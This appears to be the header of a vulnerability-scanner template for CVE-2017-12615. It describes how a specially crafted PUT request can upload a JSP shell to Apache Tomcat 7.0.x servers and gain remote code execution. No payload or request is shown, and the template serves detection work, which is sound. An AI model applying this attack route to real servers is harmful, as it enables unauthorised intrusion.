id: CVE-2017-12615

info:
  name: Apache Tomcat Servers - Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    Apache Tomcat servers 7.0.{0 to 79} are susceptible to remote code execution. By design, you are not allowed to upload JSP files via the PUT method. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on Apache Tomcat servers that have enabled PUT method by using a specially crafted HTTP request.
